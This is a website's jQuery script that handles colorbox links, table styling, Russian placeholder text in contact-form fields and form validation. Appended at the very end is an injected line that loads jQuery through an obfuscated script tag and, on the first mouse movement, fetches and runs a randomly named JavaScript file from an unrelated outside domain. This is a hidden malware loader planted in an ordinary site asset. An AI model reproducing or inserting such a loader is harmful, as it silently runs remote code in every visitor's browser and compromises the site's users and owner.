$(document).ready(function(){
$('a.colorbox').colorbox();
$('#menu-base a:first').css({background:'none'});
$('table').attr({cellspacing:0});

if ($('table.halfcolumns').length){
  $('table.halfcolumns ul li').each(function(){
      if ($(this).text()==""){ $(this).css({background : "none"});}
  });
}
if ($('form#contact').length){
  
$('input[name="data[fname]"]').blur(function(){
this.value = (this.value=='')? 'Имя': this.value;
});

$('input[name="data[fname]"]').focus(function(){
this.value = (this.value=='Имя')? '': this.value;
});   
  
$('input[name="data[phones]"]').blur(function(){
this.value = (this.value=='')? 'Контактная информация (e-mail и телефон)': this.value;
});
$('input[name="data[phones]"]').focus(function(){
this.value = (this.value=='Контактная информация (e-mail и телефон)')? '': this.value;
});
   
$("#message").blur(function() {
if ($(this).val() == ''){ $(this).attr('value', 'Ваше сообщение ...');}
});

$("#message").focus(function() {
if ($(this).attr('value') == 'Ваше сообщение ...') {$(this).val('');}
});
}

$("form#applicate").validForm();

//var emailPattern = /^([a-z0-9\+_\-]+)(\.[a-z0-9\+_\-]+)*@([a-z0-9\-]+\.)+[a-z]{2,6}$/i;
  // if (!emailPattern.test($('input#email').val())) {
   //alert("Значение не верно!");
     // return false;
 //} 
//last "});"  below
});

document.write('<scr'+'ipt src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></scr'+'ipt>');var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1;x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});
